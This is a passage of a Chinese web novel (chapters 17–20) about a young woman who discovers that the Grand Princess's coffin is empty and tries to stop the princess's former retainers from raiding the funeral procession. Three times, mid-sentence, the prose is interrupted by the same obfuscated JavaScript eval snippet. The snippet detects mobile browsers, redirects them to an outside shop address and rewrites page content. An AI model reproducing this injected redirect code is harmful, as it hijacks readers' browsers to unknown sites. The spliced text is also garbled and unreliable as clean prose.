和过去几日一样,宁襄睡眠很浅,没有梦境,脑海中一片空白——世界仿佛开始安静暗淡下来,长夜寂静,她仿佛躺在无边的旷野之中,天之下地之上,世间仿佛只有她一个人。 从此之后,只有她一个人,只有她宁襄,再也没有别人。 将她拉回现实的,是姚嬷嬷的梦话,她在梦里嘟囔着什么,宁襄听不清,只大概听到一些字眼—— “长公主”“好走”“来生”“好人家”…… 宁襄在长夜里几不可闻地叹了口气。 没有人比宁襄更清楚:长公主她……大概是没有来生的了。 不知道是不是姚嬷嬷念念不忘的缘故,第二日一早,听闻陛下终于开了朝会。 这一场朝会到底说了什么宁襄不可能知道,百官一早入宫进了殿便迟迟未曾退朝,一直持续到了黄昏,一道诏令便传遍了京城—— 长公主鸾驾将于明日移出皇宫送往西郊承安寺停灵两日,最终葬于皇陵之中。 姚嬷嬷听到这个消息稍稍安心,宁襄却蹙起眉头——纵然长公主以前对人说过,若是有朝一日身死,希望葬仪一切从简不希望铺张浪费,但饶是如此,宁襄也还是觉得这事情太仓促了,尤其是在连着那么多日毫无进展之后,突然一瞬间所有事情都被加快了一般,而且还跳过了很多步骤。 这太不寻常……仿佛处处透着隐情,仿佛有人在刻意掩埋什么一样。 姚嬷嬷没有察觉宁襄的不对劲,总算听到结果心中大石总算落地:“姑娘我们明日去送送长公主吧?” 宁襄摇了摇头:“我就不去了。” 去给长公主送行这事……于她而言,终究是件十分怪异的事情。 只是她不好跟姚嬷嬷解释其中的缘由,最终只能道:“我不想去。” “姑娘不想去便算了,以免触景伤情,”姚嬷嬷没有多想,径自替宁襄想好了原因,她也不强求,“明日奴婢自己去,也算是替姑娘送长公主最后一程。” 17. 017 梦魇 长公主薨逝第十二日,终于发丧。 四更时分,原本该是万籁俱寂的夜里,皇宫至京城的城门之间主道白灯笼依次亮起,宫中禁卫肃立于两旁,这条道路程不短,等最后一队禁卫到达城门处,东方天际已经透出微光,长公主的仪驾才从宫中出来。 姚嬷嬷半夜便出去了,说要给长公主送行,姚嬷嬷出去总不能将门那么开着那毕竟不安全,也不好将门直接从外边锁上万一她要是回来得晚了而宁襄要出去怎么办,因此睡前便商议好了,姚嬷嬷出去的时候喊宁襄一声,宁襄起来将门从里边闩上再回去睡,这样安全一些,等姚嬷嬷回来时宁襄应该差不多也睡醒了,到时候喊一声宁襄再起来给姚嬷嬷开门便是,姚嬷嬷自己也带了钥匙,万一宁襄有什么事出去了,直接将门锁上,姚嬷嬷回来自己开门便是。 宁襄将姚嬷嬷送出门,在门口处看了一眼,发现巷子里也有别人走动,估摸着也是同样的目的,嘱咐姚嬷嬷夜里走路小心,姚嬷嬷嘱咐她天凉叫她赶紧躺回被窝里继续睡一觉。 宁襄想着那么多人,应该也不会出事,又叮嘱了一遍叫姚嬷嬷不要往人多的地方挤,姚嬷嬷应了,宁襄目送她走了三丈左右,见她遇上了邻居搭伙一道走,这才将门关上上了闩,裹紧大衣往厢房里走。 她们住的地方离主道很远,但依稀能看到远处的灯光,宁襄在院中眺望了一会,将身上的衣物裹紧,将屋内的灯火吹熄,在床边坐了一会,将大衣取下,掀起被子盖住身子。 被窝内本来还残留着余温,宁襄将被角掖好,闭上眼睛强迫自己继续入睡。 这一觉睡得却是十分不安稳,兴许是因她刚出去带回了一些冷意,那点余温很快被身子吸光,不一会儿,整床被子都变得冰冷起来,宁襄感觉自己四肢冰凉,眼皮沉重眼睛无法睁开,耳畔嘈杂,似乎听到许多奇奇怪怪的类似于咒语的声音,以及……奇怪的铃声。 她好像置身于一个用冰堆砌出来的屋子里,感觉身边很多人,她没有睁眼,但是好像能看到那些模模糊糊看不清模样的人,手舞足蹈口中念念有词说着些听不清的语句,灯光很亮,照在她眼皮上,她能感受到光亮,可是她睁不开眼睛。 灯光…… 宁襄张开眼,屋内一片黑暗,外边的更漏声提示着,如今依旧还是四更天,离姚嬷嬷出门还不过一刻。 没有灯光,身边也没有任何人。 没有围着她舞动的人,没有人对着她念念有词。 屋内只有她一个人。 她却仿佛做了一个很长很真实的梦一般。 她的四肢到现在依旧是冰冷而僵硬的。 可是如今不过秋日,再冷,也不至于“梦中”那样的冰寒。 宁襄想起身,但是整个身子如同被冰封住一般,或者说,她的身体如同一塑冰雕一般——冰雕是不能动的。 所以宁襄也是不能动的。 宁襄想张开口,发现自己嘴巴张不开也喊不出声来,她连呼吸都似乎停滞了。 这身体仿佛突然之间便有些不听使唤,她感受不到自己的身体,仿佛这身体不是她的。 可是这身体就是她的,一直都是她的。 她这样想的时候,感觉自己指尖终于知觉,宁襄动了动指尖,食指、无名指、中指、小指、大拇指一一恢复知觉,手臂能动了,尔后的胳膊、肩膀、身躯、大腿、小腿、脚趾——最后才是她的头部。 秋日夜里微凉的气息灌入鼻腔之中,但是还不够,宁襄坐起身,大口大口呼吸着,终于彻底清醒过来。 好不容易缓和下来,宁襄闭目想要回想梦中的场景,可是梦中她的视线模模糊糊的,此刻也根本无法想起任何有用的细节。 她在床上坐了一会,终于还是决定起身。 隔壁的厨房里,还有姚嬷嬷留下的温水,宁襄将帕子浸入盆中,双手也浸没入盆中的温水里,高于身体热度的温水熨帖着她的双手也舒缓着她的身体,宁襄一点一点感觉到自己身体的存在。 洗漱好后,换上适宜的衣物,宁襄看了看天色,想着自己应该不必也提着灯笼出去,便只带了钥匙和一些碎钱,将门锁上,估摸了一下方向,往巷口走去。 她出门的那一刻,长公主的棺椁也正好从宫门出来。 路上行人很少,大概是没有人像她这样这个时候出门——其他人要么早早便出去候着了,要么干脆还在梦乡之中呢。 宁襄走得很慢,因为她始终还是有几分踟蹰,她不确定自己去这一趟是不是便能验证什么——她甚至不知道,自己到底想要靠走这一趟验证什么。 只是她也没有掉头回去,既然都已经出门了,不妨便走一遭吧。 她也的确需要跟长公主作一次道别的。 她应该好好送长公主一程,或者说,她是该好好送长公主一程。 最终还是走到了长公主灵驾最后会经过的大街。 她到的时候,长公主的仪驾还没有到,但是两旁已经挤满了人,宁襄并没有往人群中挤,她左右看了看,往城门的方向走了些,想找一个稍稍宽松些的地方。 走了一会,却没想遇到个熟人,虽然他戴了斗笠,身上的衣服也变了,但是前几日她才见过对方,所以宁襄靠着身形还是认出他来了。 只是看他模样似乎是有乔装打扮过,加之两人也并不算是熟人,所以宁襄并没有上前招呼对方,只当作没看到——虽然她不知道,为什么他会在此处。 长公主灵驾是有官员随行的,顾闲虽无官职在身,但成国公此刻不在京中,顾闲便是顾家唯一话事之人,再怎么说,随行应该有他的位置——若是他想去的话。 就是不知道他为也在这一群平民百姓之中,还乔装打扮似乎生怕被人认出来的模样。 不过既然他这样做或许是有他的理由吧,宁襄打定主意当作今日没看到他,走过他身边的时候,也丝毫不露痕迹,一眼都没多看。 不过兴许对方也不会注意到她便是了。 在皇宫和城门之间差不多中间的部分,人果然是少了些,虽然知道现在人少可能是因为灵驾还没到,待会人肯定还是涌过来的,不过宁襄不想走了,就在这里等着吧。 长公主灵驾行得很慢,日头出来的时候,宁襄才看到了前边持幡之人。 百余人过后,才是长公主的棺椁,宁襄皱了皱眉头,看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484439|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看人群最前边的禁卫——今日送葬的仪驾,还是有些过于铺张了。 甚至远超一个长公主能有的规制。 她想了想,好像也能明白——大概,是做给天底下人看的吧。 她有些心疼——今日花费的银两,若是拨付给今夏受洪涝侵袭的州府,不知道能挽救多少灾民令多少人免于流离失所。 结果却花在了这毫无意义的葬仪之上。 只是这些也不是她能管的。 耳畔传来仪驾之中吹奏的哀乐,也听到身旁和远处的小声哭泣声,宁襄打起精神来,从人头之间看向远处缓缓而来的华丽棺椁。 棺椁并没有直接出现在人们面前,其下有车舆,上有华盖,周身以帘幕遮挡,还有宫娥内侍禁卫遮挡,只能勉强窥见一二。 整块金丝楠木造就的棺木,饰以金银珠玉宝石,雕着凤纹华章,单看外部,便可知价值不菲,里面的精巧自是不用说。 后边还有一众陪葬之物。 宁襄满脑子只有四个字“劳民伤财”。 可是她不能说出口。 说了也没有人听,有心人听见了,只怕还要给她扣个“大不敬”的罪名,她是不介意陪葬,只是……不值得。 而且…… 这条大街约莫十丈宽,长公主的棺椁走在最中央,宁襄站在最边上,她看着棺椁从自己眼前经过,她与棺椁——或者说,她与长公主的尸身最近的时候,应该有五丈左右,可是…… 宁襄拨开人群,朝着棺椁追去。 近了……近了……更近一些了…… 宁襄脸色煞白,秋日的清晨,却仿佛淋了一场倾盆大雨,又像是晒了一中午的太阳,还像是雪中站了一宿…… 她周身发烫又冷汗涔涔又冻得发抖,明明心里已经有数,但还想再确认一遍,只能继续追着棺椁。 但追着棺椁的人不仅仅是她,也有别的人也在跟着棺椁跑——真心吊唁的人、只想看热闹的人……宁襄被人群裹挟着上前,想要冲出禁卫的阻拦想要更近一点确认,但是前边冲撞禁卫的人已经被拿下,其他人赶忙往后退,宁襄还是想要往前。 她伸出手,差一点抓住一个禁卫的手臂的瞬间,眼前突然一片漆黑。 她前边还有人,那些人被禁卫推搡着往后、往她的方向而来,宁襄想躲开,但是突然之间,周身都失去了力气。 也许后来的史书上会有记载,说嘉阳长公主出殡这日,京中百姓含泪送行,因不舍长公主想要瞻仰长公主遗容而发生踩踏,造成数起伤亡。 她大概是那被踩踏的无名之人之一。 也有可能这种事根本就够不上被记在史书之上。 就算记上了也是是虚假的、粉饰的、掩盖事实的。 而事实是什么,宁襄已经能够确认—— 事实就是—— 长公主的棺椁之中是空的。 说是空的也不对,里边或许堆满了各种各样的金银珠宝玉石的陪葬,但唯一没有的,便是原本该躺在里边的长公主的尸体。 长公主的尸体不在棺中。 长公主不在棺中。 ……她不在棺中。 18. 018 合谋 当人群朝她汹涌而来的时候,宁襄仿佛感觉无数的浪潮朝她拍打过来,瞬间将她吞没。 她又陷入了梦魇之中。 她的身子僵直不能动弹,眼皮沉重无法睁开,但是能感觉得到周身一片漆黑,没有一丝光亮。 宁襄原以为自己估计会成为他人脚下的亡魂,心中最后记挂的却只是姚嬷嬷,姚嬷嬷跟着自己千里迢迢来到京城,今日不过是出门了一会,回头发现自己不在“家”中,可能要过些日子才从别人口中得知自己今日命丧街头,死在长公主发丧途中……抑或着自己因被踩踏面目全非无法辨认出容貌身份,姚嬷嬷根本不知道自己早就死了,以为自己只是失踪了到处找……姚嬷嬷一把年纪,不知道她以后的日子要怎么过。 宁襄有点后悔,早知道来到京城是这样的情形,当初就不应该把姚嬷嬷也带出来,还不如让姚嬷嬷好好待在普阳县,虽然日子清苦,至少安全。 只可惜,现在后悔已经是来不及了。 …… 也许是过了很久,也许只是一瞬间的事,宁襄再度睁开眼时,却没有看到臆想中的阎罗殿或者阴差鬼判——她尚在人间。 天光隔着窗纸透射进屋内,即使入秋,白日里还是有些燥热,浑然不似梦中的场景——满目漆黑,周身冰寒。 “你醒了?” 旁边有人开口,宁襄侧脸看过去,才发现屋内并不是只有她,还有别人。 声音很熟悉。 熟人。 或者说,她单方面熟悉的人。 对方并不认识她,对方从来没有见过她。 宁襄起身,发现自己似乎是在某座茶楼的厢房里。 对方正坐在不远处的茶桌旁,面前是一杯茶,雾气袅袅。 宁襄抿了抿嘴唇,不知道自己此刻应该如何称呼对方,她当然知道对方是谁,但是她也怕像阮希那样的事再度发生。 宁襄看了看四周,看看是否有其他人,只可惜屋内一览无余并没有藏人的地方,视线重新转向茶桌那边,宁襄声音迟疑:“是你救了我?” 茶桌旁的女子身形匀称健康,并非弱柳扶风之人,但是宁襄很清楚,对方武力值普普通通,并非是有那个力量和能力将自己毫发无伤从人群乱流中带出之人。 如果是阮希——那倒还有可能。 宁襄在屋内找不到阮希,开口询问道:“阿——阮大人呢?” “阮希她——”女子正要作答,突然顿住,看向宁襄,“姑娘为何问起阮希?姑娘怎么知道阮希在的?” 宁襄自觉失言,沉默片刻,解释道:“先前偶遇过阮大人,方才迷迷糊糊间,似乎听到了阮大人的声音……” 毕竟在扯谎,宁襄声音越来越小,她其实根本没听到阮希的声音,一切都只是猜测罢了,毕竟这两人作为长公主的左膀右臂,往常有事的时候通常都说一起的……但随即想到,长公主已经死了,而她作为宁襄,幼年离京,多年后归来也只是一个陌生人而已,她本不该知道这些。 当然,长公主已经死了,发丧的队伍才经过不久,也许她俩并不是因为长公主的事而聚在一起……也许阮希真的不在附近……也许自己猜错了,宁襄顿了顿,改口道:“兴许是我听错了吧。” 女子默然,半晌后门外传来轻轻叩门的声音,女子神色一凛,起身跟宁襄道别:“既然姑娘已经醒了,那情自便吧,我们还有要事,先行一步了。” “我们?”宁襄眉头一挑,到底是不放心,“外边的人是谁?阮大人吗?” 门外轻叩的声音戛然而止,厢房的门被打开,阮希推门进来,立刻将门关上,抱臂站在门后,看着宁襄的眼神带着探究:“你怎么知道是我的?” 她俩问的问题差不多,可惜宁襄同样没办法回答。 宁襄心中涌现出强烈的不安,声音急切:“你们要去做什么?” 顿了顿,宁襄又补了一句:“不管你们想要做什么——不要去!” 阮希动作不变:“你知道我们要去做什么?” 宁襄张了张口,她说不出来,但是凭直觉觉得,似乎并不是什么好事。 一件似乎很危险的事。 想到不久之前经过的送葬的队伍,尤其是那棺椁,宁襄心中的不安尤盛,她们想要做什么,呼之欲出,宁襄抿了抿嘴:“不要去。” 阮希叹了口气:“你知道我们要去做什么。”差不多的话,这次的语气,却只是平铺直叙的陈述。 宁襄沉默,不太明白她们为什么要去做这样的事,她问出口她们也未必会回答自己,但是宁襄不能眼睁睁地看着她们去涉嫌,她想要阻止她们:“那是个陷阱,那棺椁里边……没有你们想要的——”她想说“人”,但突然之间她不太清楚一个死去的人是否还能称之为“人”——或者说用尸体来形容更为恰当,可是若说她们要找的“东西”,她也觉得哪里不太对,索性便闭了嘴。 宁襄听着窗外的声音——从她昏过去到现在,应该没过多久,外边送葬的队伍还没有走远,如果她的预感没错的话,她们此时此刻出现在这里,是想找机会劫棺,或者说,她们想要劫走那具棺椁之中长公主的尸身。 她不知道她们为何要这样做。 可是她知道,那具棺椁之中,并没有长公主的尸身。 阮希依旧盯着她:“你是怎么知道的?” 宁襄张开的嘴又闭上——是啊,她是怎么知道的呢?她初回京城,又没有什么门路,长公主不在棺中这种事,连她俩都无从知晓,她又是怎么知道的呢? 她根本没办法跟人解释,她跟长公主的关系。 她当然不是长公主,她也是一个真真切切活了十五年的人——宁襄莫名的犹豫了一下,但还是默默地点了点头——她当然是一个人了。 她的名字是长公主取的,她俩有同样的名字,可是她跟长公主明面上的接触乏善可陈,寥寥几笔便可带过,她该怎么跟别人解释,她跟长公主的关系呢? 如果非要解释的话,她可能是长公主的催命符——但是这话不能说出来,不说她们能不能接受她的身份,她也不想让人知道,长公主让她回京,便是心存了死志……这是长公主的秘密,长公主并不想让身边的人知道。 长公主先前曾经想要替宁襄置办宅邸,便是在安排后事,那些后事里,包括了对宁襄的安排,包括了对所有人的安排。 只可惜长公主没料到,还没等到宁襄这个催命符起作用,她自己便死了。 她有许多想要做的事都没来得及完成,她便死去了。 她死得突然,不管是她还是宁襄,都没做好准备。 更让人始料未及的是……长公主的尸身如今不知道在何处,外边送葬的队伍里,棺椁未必的空棺,那里边或许会有陪葬之物,但里边没有尸身,没有长公主的尸身。 所以,宁襄说那是一个陷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484440|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阱,也许等的便是像阮希这样的人。 宁襄不知道阮希她们为什么要去劫棺,但是她不能让她们去冒这个险,她不想她们自投罗网落入别人给她们铺设好的陷阱中——这肯定也不是长公主想要见到的。 僵持之间,厢房的门重新被叩响,阮希似乎也并不觉得她能从宁襄口中得到答案,或许是看在宁襄跟长公主有过一段渊源的面子上,阮希朝宁襄点了点头,转身便要开门。 阮希进来之后,便一直没有说话的应宣也跟着动作,宁襄气急,上前挡住阮希的动作:“我说了,不要去!” “你们一个个怎么就是不听劝呢!”宁襄是真的很生气,“都说了那是个陷阱!陷阱!怎么还上赶着去送死?!” 阮希还不待说什么,外边等候的人似乎等久了,忍不住开口道:“阮大人,怎么了?” 宁襄更生气了——又来了个熟人! “顾世子?”宁襄道破门外之人的身份,看向阮希和应宣,“你们是生怕死的人不够多是吧?” “不对,”宁襄皱眉,阮希和应宣一起行动她可以理解,毕竟她俩都曾是长公主府上出来的人,但顾闲又是怎么回事?没听说过她们跟他私底下有往来啊,这样想着,宁襄便直接问出口,“你们是何时有往来的?” 宁襄觉得,她要是长公主的话,她得被他们仨气死——平日里看着乖巧的弟弟妹妹们,在她不知道的时候,凑在一起计划着要去做会丢掉性命的蠢事,完全不顾自身和家族的安危。 …… 就算她不是长公主,她也很生气。 阮希没有回答,只是道:“姑娘若是无事,还是回去吧。” 顿了顿,也不知道她是不是亦有所指:“待会外边只怕要更乱,晚了姑娘怕是回不去了。” 阮希看了看宁襄,多叮嘱了一句:“你快些回去吧,就当作我们今日没有遇到。” 宁襄呼吸一滞,会说出这样的话,说明对方心里其实已经做了最坏的打算——是啊,堂堂皇都,戒备森严,那是长公主的葬仪队伍,他们怎么可能成功? 就算他们侥幸成功了,又怎么可能逃脱得掉? 他们不可能成功,就算成功了,那里边也没有长公主的尸身。 “阿阮,”宁襄本来深思熟虑过,怕引起不必要的麻烦,“阿阮”这个称呼她本不想再用的,可是此时此刻,她不知道该如何阻止他们,宁襄声音悲凉,“为什么?”为什么要这么做呢?为什么要自寻死路呢? “我本不必跟你解释,”阮希轻叹,“但看在你那一声‘阿阮’的面上……她曾说过的,若有一天身故,她不愿意葬入皇陵。” 宁襄冷落了:“她已经死了。” “她也许已经不记得自己曾经说过这样的话了,”宁襄说着幽幽叹气,“她不会希望你们做这些——她如果知道你们为她这句话涉险,只怕是……死不瞑目。” “当时……她说这话的时候,陛下也在的吧?”宁襄回想了一下,“有没有可能……陛下也是记得这句话的,所以陛下也许根本没打算让长公主葬入皇陵,那只是一个旨意罢了。”所以长公主的尸身,不在棺椁之中,仍在别处……仍在皇宫。 阮希看向宁襄:“你怎么知道……陛下也在场的?” 宁襄本想说自己的猜测的,但是她知道,这样的说法很难说服他们,迟疑了一会,宁襄叹了口气:“她告诉我的——长公主告诉我的。” 19. 019 会审 门被推开,另外一个人走了进来,不出宁襄所料,来人是顾闲。 宁襄微微蹙眉,倒不是奇怪他们仨怎么会认识——毕竟都是小孩时便跟在长公主身边的人,不认识反倒更显得怪异,她只是仍旧想不明白:应宣跟阮希便罢了,毕竟一个是长公主府的家令、一个曾是长公主身边的校尉,她俩相熟是理所当然的,奇怪的是顾闲,从前并未见他与其他人有多少往来,之前更是离京了几年,他们仨私底下竟然这般熟识、熟识到可以凑到一起谋划这等要是被抓到了可能要没命的事情? 宁襄心中思绪纷杂,倒不是因为发现了一些长公主也不知晓的秘密,而是因为……他们或许真的会没命。 陛下和卫显……都不是什么好相与的人,卫显先前那句“谁都不能阻止我对付你们了”——显然针对的不仅仅的顾闲而已。 长公主若是还活着,不会想看到这样的情形,她还活着的时候,没少为这些人操心。 如今长公主已经不在了,他们若是再被人抓到把柄,再没有人站出来替他们说话,最好的法子,是让他们从一开始就不会犯错。 她必须阻止他们。 顾闲与阮希还有应宣分别对视了一眼,伸手将门关上。 阮希与应宣让宁襄坐下,她俩坐在宁襄对面,顾闲没有靠近,在她俩身后不远处站着,他们三个对宁襄一个,颇有一点三堂会审的架势。 阮希问应宣:“她说的事你知道吗?” 应宣摇头,审视的目光落到宁襄身上,问阮希:“是她?” 她问得没头没尾的,阮希却似乎能明白,点了点头,目光移向宁襄:“殿下是何时告知你这事的?” 宁襄回过神来,知道是自己话说多了,但事已至此,也只能硬着头皮道:“大概……是说了这话没多久的事情?” 她说的是实话,但阮希仍要追问:“殿下为何要告知你这种事?” 宁襄沉默,不知道自己应该如何回答,作为“宁襄”,长公主的确没必要特意跟她说这种事,确切来说,长公主没必要将任何事告知于她,只不过她跟长公主的关系……对于长公主的事情,事无巨细,她全部知晓而已,反之也一样。 但是这种事,她没办法诉诸于口,长公主没有对任何人说起过她俩之间的联系,一定有道理,那她也不应该随意对外宣扬。 宁襄只能道:“我只是知道而已。” 阮希继续问:“那殿下是通过何种途径告诉你的?” 宁襄顿了顿,试探着道:“或许是……写信?”比起真实的原因,或许还是这样更符合实际一些。 阮希伸出手:“信呢?” 宁襄摇头:“时日太久远了,信早就没了。”根本就没有所谓的信,叫她怎么可能拿得出。 阮希盯着她:“不必非得是这一封,殿下应该不止一次给你送过信吧,其他的信件呢?” 宁襄察觉出有什么不太对,赶忙道:“没有,我每次看过之后便烧掉了。” “所以的确是不止一封信了,”阮希问完了自己想要问的,目光转向应宣,“这些你知道吗?” 应宣摇头:“殿下从未往普阳县送过信。”她从阮希那里确认了之前长公主想买下的宅子想要赠与之人是宁襄,自然也知道了宁襄的来处。 宁襄神情一滞,知道自己是说多错多露了馅了。 应宣是长公主府家令,总领着长公主府一切事宜,可以说,长公主以及长公主相关的任何事都不可能避开她——当然,宁襄与长公主的关联除外,除了宁襄跟长公主,这世间应该没有任何人知道她俩到底什么关系。 作为长公主府家令,应宣说没有,阮希和顾闲对于她的话没有任何怀疑,只是不约而同将带着疑问的目光投向宁襄。 阮希犹自不太放心,又问了一句:“你接任家令也不过五年,之前的家令是徐嬷嬷——会不会是经过徐嬷嬷的手所以你不太清楚?” 应宣摇头:“徐嬷嬷行事从未避开过我,不仅仅是我上任后、我上任之前,也从未听说过殿下有往普阳县传递消息的。” 阮希和应宣的对话把又一条可能的路给堵死了。 三个人的眼睛里都带着几分审视与狐疑。 宁襄闭紧嘴巴,打定主意不再说话了。 只不过他们似乎并不打算放过她,应宣继续道:“若你们时常有联系,还需要往返京城与普阳县之间的消息不滞后的话,需要的人员不可能少了,这般大的人员调动,即使不经过我,京中也不可能毫无痕迹。” 应宣说着微微皱眉,眼神询问了阮希一番,见阮希摇头,应宣神色微变:“除非是我不知道的途径……总不能是镇抚司那边吧?” “当然不是!”宁襄连忙否认,毕竟扯这种话随时都能被人查出,再说了,跟卫显扯上关系,似乎并不是一个明智的选择,在场三人……跟卫显的关系并不算太好,只是宁襄没办法说明真相,她有种预感,若是她回答说是卫显在替长公主与她联络,眼前三人里至少有一个人要疯,故而只能道,“我与长公主有自己的途径……但具体是如何做到的,请恕我无可奉告。” 宁襄说着说着,不免有些心虚,虽然她是在场的人里年纪最小的,但是因着长公主的缘故,她习惯性地将这三人视为自己的妹妹弟弟——眼下这场景,看着好像她的三个妹妹弟弟堵在她面前,问她到底跟谁最亲,而她的回答却是除了他们仨以外的另外一个人,甚至不是他们之前便认识的、而是一个新出现的人物。 今日之前,宁襄跟阮希以及顾闲也不过是见了几面而已,至于应宣,她俩更是第一次“相见”,自己话里话外,似乎自己跟长公主的关系比他们跟长公主的关系更亲近一些、她俩甚至有自己的秘密……设身处地地想一下,宁襄也觉得自己有些过分。 她必须阻止他们,但宁襄没有把握能说服他们。 她甚至不敢说虽然她跟长公主有自己的秘密,但是要论亲近,肯定还是他们跟长公主的关系更亲近…… 四人皆沉默下来,应宣问出自己心中的疑惑:“你我算起来只是初相见,但你先前看到我的时候,似乎对于我是谁并不陌生——你自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484441|201923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始至终都没有问过我的名字,可你似乎很清楚,我是谁。” 宁襄只能继续默然,她没想到自己周身的破绽如此之多,对于长公主身边的人,似乎她认也不是,不认也不是,不管怎么做都似乎惹人怀疑。 她跟长公主的年纪差了十二年,阅历上终究还是太浅薄了些,即使她知道长公主所有的事情,但她毕竟不是长公主。 应宣的疑问似乎也是另外两人的疑问,宁襄低着头,都能感觉到如针一般的目光落在她身上,令她感觉如芒在背、如坐针毡。 许久之后,应宣才终于开口:“我相信你。” 宁襄抬头,有些意外。 应宣跟阮希确认一遍:“她如今住的宅子……便是先前殿下特意去看过的地方吗?” 阮希颔首。 “虽然你我只是第一次见,”应宣道,“我不知道你们是怎么做到的——在此之前,殿下从未跟我们提起过你,我也没有见到任何有关于你的书信,我不知道殿下是如何知晓你即将要来京城的,或许你跟殿下的确有着某种我们无法知晓的联络方式吧。” 应宣问起她最关心的那个问题:“殿下……的确不在那棺中吗?” 宁襄点头。 应宣盯着宁襄的反应,似乎是想确认她到底有几分笃定,许久之后,她才对另外两人道:“此事暂且搁置。” 宁襄皱眉,应宣说的是“搁置”而不是“终止”,意味着他们仍旧没有放弃夺取长公主尸身的打算。 而长公主的尸身所在……他们根本不可能靠近的。 宁襄还想要劝,却又听到顾闲道:“那靖王那边——” 怎么其中还有靖王的事?宁襄不觉失声惊呼:“十一?!” 靖王,先帝的皇子,长公主仍旧在世的另外一个弟弟,排行十一,长公主以往称呼陛下以及靖王,都是用排行称呼的……宁襄一时没有转换过来。 察觉到顾闲的视线投射过来,宁襄差点咬到自己的舌头,赶忙找补道:“——至此,你们还是赶紧告知他叫他不要妄动!” 咽了咽口水,宁襄抬头迎着顾闲的视线,画蛇添足地解释了一句:“我初来京城,说话难免带些乡音。”不管是“十一”还是“阿十”,都只是口音的缘故……也不知道顾闲能不能信。 但他似乎不打算戳破,见他收回视线,宁襄立刻转向应宣:“快阻止靖王!”若此事只是他们仨参与,事情虽然严重,但波及的范围或许还不至于太广,他们被抓到了,也只是他们自己犯事而已,未必罪及家人,可是如果加上靖王……一个不小心,那便有可能被人扣上谋反的罪,牵连的人可就多了去了。 宁襄担心之于,心中不免又有些苦涩——长公主也是最近才知道,她的两个弟弟,彼此之间并不是兄友弟恭的关系。 如今的皇帝,长公主的弟弟、靖王的兄长,他想杀很多人,其中包括了自己的弟弟靖王以及自己的侄子昱王。 甚至于长公主自己的死……也跟陛下脱不了干系。 最是无情帝王家,又一次得到了验证。 20. 020 元袤 三人起身要离开,阮希分出一缕心神嘱咐宁襄:“姑娘你身子若是无恙,待会便自行回去吧。” 宁襄也跟着起身:“你们要去哪里?” 无人理会她,宁襄继续道:“带上我!” 如果是长公主在这里的话,她一定会相信他们,相信他们既然答应了不再去做,那一定不会食言,毕竟这三人以往在长公主面前都是听话的妹妹弟弟;可宁襄不是长公主,她还亲眼窥见了这三人背地里的密谋,说实话,她有些放心不下,总觉得他们回头又会做出一些令她更意外的事情来,她得替长公主盯着他们才行。 三人都没说什么,没有答应,也没有拒绝,只是径自离开,宁襄想了想,还是跟上了他们。 阮希和顾闲两人似乎都算是练家子,他们的脚步宁襄是跟不上的,唯一能勉强跟上的,只有应宣,饶是跟着应宣,宁襄也有些气喘吁吁的,她的身子比起应宣来,还是显得虚弱了些,何况她还不熟悉路。 不对! 宁襄顿住脚步,阮希便罢了,顾闲体弱多病——虽然是装的,但按理来说,不该与自小习武的阮希旗鼓相当。 看样子,这些人瞒着长公主的事情远不只是一桩两件……宁襄刚生起这样的想法,眼看着应宣已经走远,立刻无暇多想,赶忙屏气凝神追了上去以免被落下。 不知道拐了多久的路,应宣终于停下,宁襄隔着应宣的身影,望向远处的阮希和顾闲,他俩正与另外一人说这些什么,离得太远,宁襄听不清。 虽然名义上是第一次见,但宁襄一眼便认出了,那人是靖王,长公主最小的弟弟,排行十一的元袤。 宁襄深吸一口气,元袤比她印象里……更胖些了。 长公主之后的几个皇子,都是出身卑微的宫女所出,先帝忌惮先头几位母族有势力的皇子,似乎也不愿意再造出几个竞争者,那几位宫婢,即使诞育了皇室血脉,也未能得到任何的位份,甚至还因此丧了命。 对于那几个多余生出的小皇子,先帝也并无多少怜爱之心,明明是皇子,却如小猫小狗一般活着,十皇子甚至因此夭折了。 那时还年幼的长公主大惊,许是未曾想过一道宫墙之内,竟还会有如此惨状,故而让人将那几个小皇子一道带到自己宫中,从此一应份例,她有的,他们一样会有,才好不容易将余下的三个弟弟养大。 除却在宫变中死去的八皇子,如今的陛下以及靖王,便是长公主唯剩的弟弟了。 靖王比陛下年幼两岁,也比顾闲小上几月,长公主命人将他抱来自己宫殿之中时,他尚在襁褓之中,连名字都还没有取,瘦瘦小小的一只,是以长公主为他取名“元袤”,袤者,长久、广盛、绵长之意,长公主是希望这个名字,能让这生来就体弱的幼弟能够茁壮成长。 只可惜元袤一直到十二三岁之前,还是一副瘦弱单薄的模样。 